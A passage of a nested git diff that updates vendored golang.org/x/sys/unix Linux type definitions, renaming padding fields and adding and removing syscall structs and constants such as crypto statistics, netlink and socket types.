-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ SizeofTpacketHdr = 0x18
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x1269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint16
-+ Inode uint32
-+ Rdevice uint16
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]int8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go
-index e54fa984..201fb348 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -105,7 +88,7 @@ type Stat_t struct {
- Mode uint32
- Uid uint32
- Gid uint32
-- X__pad0 int32
-+ _ int32
- Rdev uint64
- Size int64
- Blksize int64
-@@ -116,139 +99,29 @@ type Stat_t struct {
- _ [3]int64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -259,51 +132,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -312,277 +154,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- R15 uint64
- R14 uint64
-@@ -628,30 +209,19 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-@@ -661,37 +231,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -704,20 +251,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -729,13 +267,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -759,55 +296,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x1269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
